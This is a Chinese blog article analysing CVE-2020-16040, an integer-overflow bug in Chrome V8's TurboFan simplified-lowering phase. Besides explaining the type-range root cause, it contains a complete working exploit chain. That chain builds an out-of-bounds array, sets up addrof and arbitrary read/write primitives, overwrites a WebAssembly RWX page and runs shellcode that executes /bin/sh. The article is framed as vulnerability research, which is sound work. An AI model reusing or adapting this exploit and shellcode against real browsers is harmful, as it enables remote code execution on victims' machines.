chrome v8漏洞CVE-2020-16040浅析
作者: coolboy
前言
CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。
POC
编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | # 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitexport PATH=/path/to/depot_tools:$PATHmkdir ~/v8cd ~/v8fetch v8cd v8# 漏洞补丁前一笔提交git checkout 8.9.40gclient syncalias gm=~/v8/tools/dev/gm.pygm x64.releasegm x64.debug# test./out/x64.release/d8 --help |
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /*CVE-2020-16040HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916https://bugs.chromium.org/p/chromium/issues/detail?id=1150649https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040*/var bs = new ArrayBuffer(8);var fs = new Float64Array(bs);var is = new BigUint64Array(bs);function ftoi(val) { fs[0] = val; return is[0];}function itof(val) { is[0] = val; return fs[0];}function foo(x) { let y = 0x7fffffff; if (x == NaN) y = NaN; if (x) y = -1; let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)] z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)] // [Static type: Range(-1, 1), Feedback type: Range(1, 1)] z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)] let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)] i = 0 - Math.sign(i); // [Static type: Range(0, 1)] // [Static type: Range(-1, 0)] // console.log(i); let a = new Array(i); a.shift(); let b = [1.1, 2.2, 3.3]; return [a, b];}for (let i = 0; i < 100000; i++) foo(true);let x = foo(false);let arr = x[0];let oob = x[1];// %DebugPrint(arr);// %DebugPrint(oob);// %SystemBreak();arr[16] = 1337;/* flt.elements @ oob[12] *//* obj.elements @ oob[24] */let flt = [1.1];let tmp = {a: 1};let obj = [tmp];function addrof(o) { let a = ftoi(oob[24]) & 0xffffffffn; let b = ftoi(oob[12]) >> 32n; oob[12] = itof((b << 32n) + a); obj[0] = o; return (ftoi(flt[0]) & 0xffffffffn) - 1n;}function read(p) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); return ftoi(flt[0]);}function write(p, x) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); flt[0] = itof(x);}let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b]);let module = new WebAssembly.Module(wasm);let instance = new WebAssembly.Instance(module);let entry = instance.exports.main;let rwx = read(addrof(instance) + 0x68n);let shellcode = new Uint8Array([ 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e, 0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05]);let buf = new ArrayBuffer(shellcode.length);let view = new DataView(buf);write(addrof(buf) + 0x14n, rwx);for (let i = 0; i < shellcode.length; i++) view.setUint8(i, shellcode[i]);entry(); |
1 2 3 4 5 | $ ./out/x64.release/d8 poc.js# 执行计算器 calcC-style arbitrary precision calculator (version 2.12.7.2)Calc is open software. For license details type: help copyright[Type "exit" to exit, or "help" for help.] |
漏洞成因分析
背景
representation
turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | # ./d8 --trace-representation test.jsfunction foo(x) { let y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))] if (x == NaN) y = NaN; // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge) [Static type: (NaN | Range(2147483647, 2147483647))] if (x) y = -1; // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))] let z = y + 1; // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge) [Static type: Range(-1, 0), Feedback type: Range(0, 0)] if (z > 0) { // do something }} |
- y = 0x7fffffff; representation为Range(2147483647, 2147483647),只能取值为2147483647。
- if (x == NaN) y = NaN;此时y取值有两种可能。NaN或者2147483647,因此representation为(NaN | Range(2147483647, 2147483647))。
- if (x) y = -1; y的取值可能性又增加了-1,representation为[Static type: (NaN | Range(-1, 2147483647))]。虽然整数取值只能为-1或者2147483647,但为了表示方便,仍然采用range,一个范围来表示。
- let z = y + 1; 此处做加法,NaN无法做加法运算,于是NaN另外处理。加1之后Range(-1, 2147483647)变为Range(0, 2147483648)。因此representation为Range(0, 2147483648)。
- z >>= 31; 0至2147483647位运算右移31位得到0,2147483648得到-1,因此representation为Range(-1, 0)。
representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。
Feedback
1 2 3 4 5 6 7 8 9 10 11 12 13 | // ./d8 --trace-representation --trace-deopt test.jsx = {}function foo() { console.log(x.v);}x.v = 1;for (i = 0; i < 10000; i++) { console.log(i + ":"); foo();}x.v = 2; |
执行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 0:11:1...7578:1Marking #19: Phi as needing revisit due to #82: Call Marking #16: Loop as needing revisit due to #95: JSStackCheck Marking #22: Checkpoint as needing revisit due to #17: EffectPhi--{Propagate phase}-- visit #99: End (trunc: no-value-use) initial #20: no-value-use initial #199: no-value-use initial #200: no-value-use visit #200: Return (trunc: no-value-use)...7579:1...9999:1[bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6] |
解释一下:
- 在7578和7579行之间插入了--trace-representation打印的日志,表明优化引擎在7578次重复运行之后开始工作。
- 执行多次以后x.v均为1,x.v是对全局变量的属性访问,1将作为feedback,被优化引擎采用替换复杂的全局变量属性访问,而直接将1传递给console.log,提高效率
- x.v = 2 改变了全局变量的值,foo的优化假设x.v等于1将不再成立,于是通过--trace-deopt参数打印出了bailout信息,表示foo函数解优化,不再执行优化函数,以确保函数的正确性。
- 由此可见,feedback也是优化的依据。
漏洞成因
漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:
1 2 3 4 5 6 7 | void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) { ... VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32, Type::Signed32()); ...} |
表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | function foo(a) { // ./d8 --trace-representation --trace-deopt test.js var y = 0x7fffffff; if (a == NaN) y = NaN; if (a) y = -1; const z = (y + 1)|0; console.log(z); if (z < 0) { console.log('< 0'); } else { console.log('>= 0'); }}foo(true);foo(false);console.log("================");%PrepareFunctionForOptimization(foo);foo(true);%OptimizeFunctionOnNextCall(foo);foo(false); |
执行结果:
1 2 3 4 5 6 7 8 9 | 0>= 0-2147483648< 0#================0>= 0-2147483648>= 0 |
- 前四行输出对应没有优化的foo(true); foo(false);调用结果,符合预期。
- 后四行输出对应优化后的foo(true); foo(false);调用结果,不符合预期。我们看到了-2147483648 >= 0
原因如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function foo(a) { // ./d8 --trace-representation --trace-deopt test.js var y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))] if (a == NaN) y = NaN; // [Static type: (NaN | Range(2147483647, 2147483647))] if (a) y = -1; // [Static type: (NaN | Range(-1, 2147483647))] const z = (y + 1)|0; // SpeculativeSafeIntegerAdd[SignedSmall] [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] // SpeculativeNumberBitwiseOr[SignedSmall] [Static type: Range(-2147483648, 2147483647), Feedback type: Range(0, 2147483647)] console.log(z); if (z < 0) { console.log('< 0'); } else { console.log('>= 0'); }} |
- y + 1,在加法处理之后它的Static type为Range(0, 2147483648),由于前面提及的bug,VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,(-2147483648, 2147483647),两者求交得到结果Range(0, 2147483647),与实际不符,Feedback type类型有误。
- (y + 1) | 0,2147483648 | 0 结果为-2147483648,[0,2147483647]之间的任意数|0之后得到本身,因此(y + 1) | 0的Static type为Range(-2147483648, 2147483647),Feedback type保持不变为Range(0, 2147483647)
- 优化foo时,feedback type将参与优化,(y+1)|0的feedback type为(0, 2147483647),它的值不小于0,z<0的判断总是为false,因此优化掉判断逻辑直接执行console.log('>= 0'); ,而此时z实际的值为-2147483648,小于0。这就是为什么会打印出-2147483648 >= 0
POC详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | function foo(x) { let y = 0x7fffffff; if (x == NaN) y = NaN; if (x) y = -1; let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)] z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)] z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)] // [Static type: Range(-1, 1), Feedback type: Range(1, 1)] z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)] let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)] i = 0 - Math.sign(i); // [Static type: Range(0, 1)] // [Static type: Range(-1, 0), Feedback type: Range(0, 0)] // console.log(i); // i:1 let a = new Array(i); a.shift(); // CheckBounds [Static type: Range(0, 0)] let b = [1.1, 2.2, 3.3]; return [a, b];} |
- --trace-representation 打印得到上述日志,可以看到执行new Array(i);时,i真实值为1,而Static type为 Range(-1, 0),Feedback type为Range(0, 0)
- let a = new Array(i); 将被优化成下面伪代码:
- 其中kArraySize为1,将传递给Allocate,正常分配空间。
- checkdLen = CheckBounds(len, limit); 将产生[Static type: Range(0, 0)],在优化时直接替换成0。
- StoreField(arr, kLengthOffset, checkedLen); 将arr length字段设置为0,而实际长度为1.
- a.shift(); 将被优化成下面伪代码:

- length = checkedLen; 等于0
- newLen = length - 1; 等于-1
- StoreField(arr, kLengthOffset, newLen); 将arr的length字段赋值为-1。这将导致整数下溢,变成一个很大的数,从而可以实现数组的越界读写。

1 2 3 4 5 6 7 | // 优化foo函数for (let i = 0; i < 100000; i++) foo(true);let x = foo(false);let arr = x[0];// %DebugPrint(arr); |
使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | DebugPrint: 0x1f0108088f15: [JSArray] - map: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1f010818b759 <JSArray[0]> - elements: 0x1f0108088f09 <FixedArray[67244564]> [HOLEY_SMI_ELEMENTS] - length: -1 - properties: 0x1f0108042229 <FixedArray[0]> - All own properties (excluding elements): { 0x1f0108044649: [String] in ReadOnlySpace: #length: 0x1f0108102159 <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x1f0108088f09 <FixedArray[67244564]> { 0: 0x1f0108042429 <the_hole> 1: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> 2: 0x1f0108042229 <FixedArray[0]> 3: 0x1f0108088f09 <FixedArray[67244564]> 4: -1 5: 0x1f0108042a89 <Map> 6: 3 7: -858993459 |
可以看到长度确实为-1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function foo(x) { ... let a = new Array(i); a.shift(); let b = [1.1, 2.2, 3.3]; return [a, b];}let x = foo(false);let arr = x[0];let oob = x[1];arr[16] = 1337;/* flt.elements @ oob[12] *//* obj.elements @ oob[24] */let flt = [1.1];let tmp = {a: 1};let obj = [tmp]; |
- b的内存布局在a之后,因此a可以越界读写b的内存。a[16]位置存放的是b的长度字段。a[16] = 1337,是将b的长度修改为1337。从而以b为跳板继续越界读写后面的数组。
- oob即为b。oob[12]存放的是flt数组指向的内存。oob[24]存放的是obj数组指向的内存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /* flt.elements @ oob[12] *//* obj.elements @ oob[24] */let flt = [1.1];let tmp = {a: 1};let obj = [tmp];function addrof(o) { let a = ftoi(oob[24]) & 0xffffffffn; // 获取obj.elements 的低32位数字,此为压缩后的地址 let b = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字 oob[12] = itof((b << 32n) + a); // obj.elements地址 组合 flt原来高32位数字,形成double,写回flt.elements // 此时flt和obj指向了同一块内存,唯一区别是,flt以double解析这块内存,obj以对象类型解析这块内存 obj[0] = o; // 存入对象的地址到obj[0] return (ftoi(flt[0]) & 0xffffffffn) - 1n; // 以double读出对象的地址,并抓换为int} |
1 2 3 4 5 | function read(p) { let a = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字 oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。 return ftoi(flt[0]); // 读p地址的内容} |
1 2 3 4 5 | function write(p, x) { let a = ftoi(oob[12]) >> 32n; oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。 flt[0] = itof(x); // 写入x} |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | let wasm = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b]);let module = new WebAssembly.Module(wasm);let instance = new WebAssembly.Instance(module);let entry = instance.exports.main;let rwx = read(addrof(instance) + 0x68n); // addrof(instance) 获取instance地址 // read(addrof(instance) + 0x68n) 读instance + 0x60处的值,这里是wasm代码段开始的地方,具有rwx权限 |
1 2 3 4 5 6 7 8 9 10 11 | let entry = instance.exports.main;let buf = new ArrayBuffer(shellcode.length); // 分配ArrayBufferlet view = new DataView(buf);write(addrof(buf) + 0x14n, rwx); // addrof(ArrayBuffer),获取地址,地址 + 0x14 - 8 + 1的地方存放着ArrayBuffer对象buf的地址 // 修改这个地址为rwx,让ArrayBuffer的空间指向rwx,操作ArrayBuffer就是修改rwx内存。for (let i = 0; i < shellcode.length; i++) view.setUint8(i, shellcode[i]); // 往rwx写入shellcodeentry(); // 执行shellcode |